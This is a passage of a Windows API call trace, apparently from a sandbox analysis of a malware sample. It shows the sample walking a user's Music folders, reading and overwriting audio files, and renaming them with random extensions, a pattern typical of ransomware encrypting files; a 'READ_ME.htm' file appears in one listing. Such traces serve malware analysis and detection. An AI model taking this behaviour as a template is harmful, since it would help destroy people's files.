dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a708a70, ftCreationTime.dwHighDateTime=0x1d8b435, ftLastAccessTime.dwLowDateTime=0x3e94ffc0, ftLastAccessTime.dwHighDateTime=0x1d8ba28, ftLastWriteTime.dwLowDateTime=0x3e94ffc0, ftLastWriteTime.dwHighDateTime=0x1d8ba28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXs7dyEh5KRVvZ0H", cAlternateFileName="FXS7DY~1")) returned 1 [0155.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311a820, ftCreationTime.dwHighDateTime=0x1d8b38d, ftLastAccessTime.dwLowDateTime=0x9b0c5e80, ftLastAccessTime.dwHighDateTime=0x1d8b41d, ftLastWriteTime.dwLowDateTime=0x9b0c5e80, ftLastWriteTime.dwHighDateTime=0x1d8b41d, nFileSizeHigh=0x0, nFileSizeLow=0x647f, dwReserved0=0x0, dwReserved1=0x0, cFileName="m 9QJbhnwqf5Sb5F.wav", cAlternateFileName="M9QJBH~1.WAV")) returned 1 [0155.356] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f8a860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0155.356] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f8a860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0155.356] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.356] SetErrorMode (uMode=0x0) returned 0x1 [0155.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa", lpFilePart=0x0) returned 0x2c [0155.357] SetErrorMode (uMode=0x1) returned 0x0 [0155.357] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\*" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb789f450, ftCreationTime.dwHighDateTime=0x1d8b193, ftLastAccessTime.dwLowDateTime=0x829db0d0, ftLastAccessTime.dwHighDateTime=0x1d8b7d1, ftLastWriteTime.dwLowDateTime=0x829db0d0, ftLastWriteTime.dwHighDateTime=0x1d8b7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb789f450, ftCreationTime.dwHighDateTime=0x1d8b193, ftLastAccessTime.dwLowDateTime=0x829db0d0, ftLastAccessTime.dwHighDateTime=0x1d8b7d1, ftLastWriteTime.dwLowDateTime=0x829db0d0, ftLastWriteTime.dwHighDateTime=0x1d8b7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0a58f30, ftCreationTime.dwHighDateTime=0x1d8bc7d, ftLastAccessTime.dwLowDateTime=0x5d83d860, ftLastAccessTime.dwHighDateTime=0x1d8c0cd, ftLastWriteTime.dwLowDateTime=0x5d83d860, ftLastWriteTime.dwHighDateTime=0x1d8c0cd, nFileSizeHigh=0x0, nFileSizeLow=0x97eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="1_h XL4NJb8AdkR7ieF.mp3", cAlternateFileName="1_HXL4~1.MP3")) returned 1 [0155.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22119e10, ftCreationTime.dwHighDateTime=0x1d8b692, ftLastAccessTime.dwLowDateTime=0x4542c2a0, ftLastAccessTime.dwHighDateTime=0x1d8ba76, ftLastWriteTime.dwLowDateTime=0x4542c2a0, ftLastWriteTime.dwHighDateTime=0x1d8ba76, nFileSizeHigh=0x0, nFileSizeLow=0x13efe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hj4upkRDF60YUCaU Lrc.m4a", cAlternateFileName="HJ4UPK~1.M4A")) returned 1 [0155.358] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bdf970, ftCreationTime.dwHighDateTime=0x1d8b894, ftLastAccessTime.dwLowDateTime=0x4f79ca20, ftLastAccessTime.dwHighDateTime=0x1d8bd73, ftLastWriteTime.dwLowDateTime=0x4f79ca20, ftLastWriteTime.dwHighDateTime=0x1d8bd73, nFileSizeHigh=0x0, nFileSizeLow=0x6ed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="i5g5zH_agf2Tgh.wav", cAlternateFileName="I5G5ZH~1.WAV")) returned 1 [0155.358] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xj33qSuSEZnHrj-zW", cAlternateFileName="XJ33QS~1")) returned 1 [0155.358] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c63f5c0, ftCreationTime.dwHighDateTime=0x1d8b263, ftLastAccessTime.dwLowDateTime=0x93747870, ftLastAccessTime.dwHighDateTime=0x1d8b5ed, ftLastWriteTime.dwLowDateTime=0x93747870, ftLastWriteTime.dwHighDateTime=0x1d8b5ed, nFileSizeHigh=0x0, nFileSizeLow=0x244d, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0lwEAy9hDbUIhJ.m4a", cAlternateFileName="Z0LWEA~1.M4A")) returned 1 [0155.358] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c63f5c0, ftCreationTime.dwHighDateTime=0x1d8b263, ftLastAccessTime.dwLowDateTime=0x93747870, ftLastAccessTime.dwHighDateTime=0x1d8b5ed, ftLastWriteTime.dwLowDateTime=0x93747870, ftLastWriteTime.dwHighDateTime=0x1d8b5ed, nFileSizeHigh=0x0, nFileSizeLow=0x244d, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0lwEAy9hDbUIhJ.m4a", cAlternateFileName="Z0LWEA~1.M4A")) returned 0 [0155.358] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.358] SetErrorMode (uMode=0x0) returned 0x1 [0155.359] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa", lpFilePart=0x0) returned 0x2c [0155.359] SetErrorMode (uMode=0x1) returned 0x0 [0155.359] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\*" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb789f450, ftCreationTime.dwHighDateTime=0x1d8b193, ftLastAccessTime.dwLowDateTime=0x829db0d0, ftLastAccessTime.dwHighDateTime=0x1d8b7d1, ftLastWriteTime.dwLowDateTime=0x829db0d0, ftLastWriteTime.dwHighDateTime=0x1d8b7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb789f450, ftCreationTime.dwHighDateTime=0x1d8b193, ftLastAccessTime.dwLowDateTime=0x829db0d0, ftLastAccessTime.dwHighDateTime=0x1d8b7d1, ftLastWriteTime.dwLowDateTime=0x829db0d0, ftLastWriteTime.dwHighDateTime=0x1d8b7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0a58f30, ftCreationTime.dwHighDateTime=0x1d8bc7d, ftLastAccessTime.dwLowDateTime=0x5d83d860, ftLastAccessTime.dwHighDateTime=0x1d8c0cd, ftLastWriteTime.dwLowDateTime=0x5d83d860, ftLastWriteTime.dwHighDateTime=0x1d8c0cd, nFileSizeHigh=0x0, nFileSizeLow=0x97eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="1_h XL4NJb8AdkR7ieF.mp3", cAlternateFileName="1_HXL4~1.MP3")) returned 1 [0155.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22119e10, ftCreationTime.dwHighDateTime=0x1d8b692, ftLastAccessTime.dwLowDateTime=0x4542c2a0, ftLastAccessTime.dwHighDateTime=0x1d8ba76, ftLastWriteTime.dwLowDateTime=0x4542c2a0, ftLastWriteTime.dwHighDateTime=0x1d8ba76, nFileSizeHigh=0x0, nFileSizeLow=0x13efe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hj4upkRDF60YUCaU Lrc.m4a", cAlternateFileName="HJ4UPK~1.M4A")) returned 1 [0155.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bdf970, ftCreationTime.dwHighDateTime=0x1d8b894, ftLastAccessTime.dwLowDateTime=0x4f79ca20, ftLastAccessTime.dwHighDateTime=0x1d8bd73, ftLastWriteTime.dwLowDateTime=0x4f79ca20, ftLastWriteTime.dwHighDateTime=0x1d8bd73, nFileSizeHigh=0x0, nFileSizeLow=0x6ed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="i5g5zH_agf2Tgh.wav", cAlternateFileName="I5G5ZH~1.WAV")) returned 1 [0155.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xj33qSuSEZnHrj-zW", cAlternateFileName="XJ33QS~1")) returned 1 [0155.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c63f5c0, ftCreationTime.dwHighDateTime=0x1d8b263, ftLastAccessTime.dwLowDateTime=0x93747870, ftLastAccessTime.dwHighDateTime=0x1d8b5ed, ftLastWriteTime.dwLowDateTime=0x93747870, ftLastWriteTime.dwHighDateTime=0x1d8b5ed, nFileSizeHigh=0x0, nFileSizeLow=0x244d, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0lwEAy9hDbUIhJ.m4a", cAlternateFileName="Z0LWEA~1.M4A")) returned 1 [0155.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c63f5c0, ftCreationTime.dwHighDateTime=0x1d8b263, ftLastAccessTime.dwLowDateTime=0x93747870, ftLastAccessTime.dwHighDateTime=0x1d8b5ed, ftLastWriteTime.dwLowDateTime=0x93747870, ftLastWriteTime.dwHighDateTime=0x1d8b5ed, nFileSizeHigh=0x0, nFileSizeLow=0x244d, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0lwEAy9hDbUIhJ.m4a", cAlternateFileName="Z0LWEA~1.M4A")) returned 0 [0155.360] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.361] SetErrorMode (uMode=0x0) returned 0x1 [0155.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a", lpFilePart=0x0) returned 0x45 [0155.361] SetErrorMode (uMode=0x1) returned 0x0 [0155.361] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\hj4upkrdf60yucau lrc.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.361] GetFileType (hFile=0x1d0) returned 0x1 [0155.361] SetErrorMode (uMode=0x0) returned 0x1 [0155.361] GetFileType (hFile=0x1d0) returned 0x1 [0155.361] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x13efe [0155.361] ReadFile (in: hFile=0x1d0, lpBuffer=0x29f01d8, nNumberOfBytesToRead=0x13efe, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29f01d8*, lpNumberOfBytesRead=0x21d418*=0x13efe, lpOverlapped=0x0) returned 1 [0155.363] CloseHandle (hObject=0x1d0) returned 1 [0155.446] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a", lpFilePart=0x0) returned 0x45 [0155.446] SetErrorMode (uMode=0x1) returned 0x0 [0155.447] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\hj4upkrdf60yucau lrc.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.450] GetFileType (hFile=0x1d0) returned 0x1 [0155.450] SetErrorMode (uMode=0x0) returned 0x1 [0155.450] GetFileType (hFile=0x1d0) returned 0x1 [0155.450] WriteFile (in: hFile=0x1d0, lpBuffer=0x292cca0*, nNumberOfBytesToWrite=0x13f00, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x292cca0*, lpNumberOfBytesWritten=0x21d498*=0x13f00, lpOverlapped=0x0) returned 1 [0155.452] CloseHandle (hObject=0x1d0) returned 1 [0155.455] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a", lpFilePart=0x0) returned 0x45 [0155.455] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a.qdw7kn", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a.qdw7kn", lpFilePart=0x0) returned 0x4c [0155.455] SetErrorMode (uMode=0x1) returned 0x0 [0155.455] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\hj4upkrdf60yucau lrc.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22119e10, ftCreationTime.dwHighDateTime=0x1d8b692, ftLastAccessTime.dwLowDateTime=0x4542c2a0, ftLastAccessTime.dwHighDateTime=0x1d8ba76, ftLastWriteTime.dwLowDateTime=0x59223440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x13f00)) returned 1 [0155.455] SetErrorMode (uMode=0x0) returned 0x1 [0155.456] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\hj4upkrdf60yucau lrc.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\Hj4upkRDF60YUCaU Lrc.m4a.qdw7kn" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\hj4upkrdf60yucau lrc.m4a.qdw7kn")) returned 1 [0155.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a", lpFilePart=0x0) returned 0x40 [0155.457] SetErrorMode (uMode=0x1) returned 0x0 [0155.457] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\z0lweay9hdbuihj.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.457] GetFileType (hFile=0x1d0) returned 0x1 [0155.457] SetErrorMode (uMode=0x0) returned 0x1 [0155.457] GetFileType (hFile=0x1d0) returned 0x1 [0155.457] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x244d [0155.457] ReadFile (in: hFile=0x1d0, lpBuffer=0x2941bc8, nNumberOfBytesToRead=0x244d, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2941bc8*, lpNumberOfBytesRead=0x21d418*=0x244d, lpOverlapped=0x0) returned 1 [0155.459] CloseHandle (hObject=0x1d0) returned 1 [0155.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a", lpFilePart=0x0) returned 0x40 [0155.524] SetErrorMode (uMode=0x1) returned 0x0 [0155.524] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\z0lweay9hdbuihj.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.525] GetFileType (hFile=0x1d0) returned 0x1 [0155.525] SetErrorMode (uMode=0x0) returned 0x1 [0155.525] GetFileType (hFile=0x1d0) returned 0x1 [0155.526] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a2cf78*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2a2cf78*, lpNumberOfBytesWritten=0x21d498*=0x2450, lpOverlapped=0x0) returned 1 [0155.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a", lpFilePart=0x0) returned 0x40 [0155.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a.h0ftst", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a.h0ftst", lpFilePart=0x0) returned 0x47 [0155.528] SetErrorMode (uMode=0x1) returned 0x0 [0155.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\z0lweay9hdbuihj.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c63f5c0, ftCreationTime.dwHighDateTime=0x1d8b263, ftLastAccessTime.dwLowDateTime=0x93747870, ftLastAccessTime.dwHighDateTime=0x1d8b5ed, ftLastWriteTime.dwLowDateTime=0x592e1b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2450)) returned 1 [0155.528] SetErrorMode (uMode=0x0) returned 0x1 [0155.528] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\z0lweay9hdbuihj.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\z0lwEAy9hDbUIhJ.m4a.h0ftst" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\z0lweay9hdbuihj.m4a.h0ftst")) returned 1 [0155.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW", lpFilePart=0x0) returned 0x3e [0155.529] SetErrorMode (uMode=0x1) returned 0x0 [0155.529] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW\\*" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\xj33qsuseznhrj-zw\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.530] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.530] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, ftLastAccessTime.dwLowDateTime=0xf7c5ead0, ftLastAccessTime.dwHighDateTime=0x1d8ba51, ftLastWriteTime.dwLowDateTime=0xf7c5ead0, ftLastWriteTime.dwHighDateTime=0x1d8ba51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0155.530] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.530] SetErrorMode (uMode=0x0) returned 0x1 [0155.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW", lpFilePart=0x0) returned 0x3e [0155.531] SetErrorMode (uMode=0x1) returned 0x0 [0155.534] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\0Gi9jAAneSNZB2RiMYa\\xj33qSuSEZnHrj-zW\\*" (normalized: "c:\\users\\keecfmwgj\\music\\0gi9jaanesnzb2rimya\\xj33qsuseznhrj-zw\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90d42160, ftCreationTime.dwHighDateTime=0x1d8b4f8, 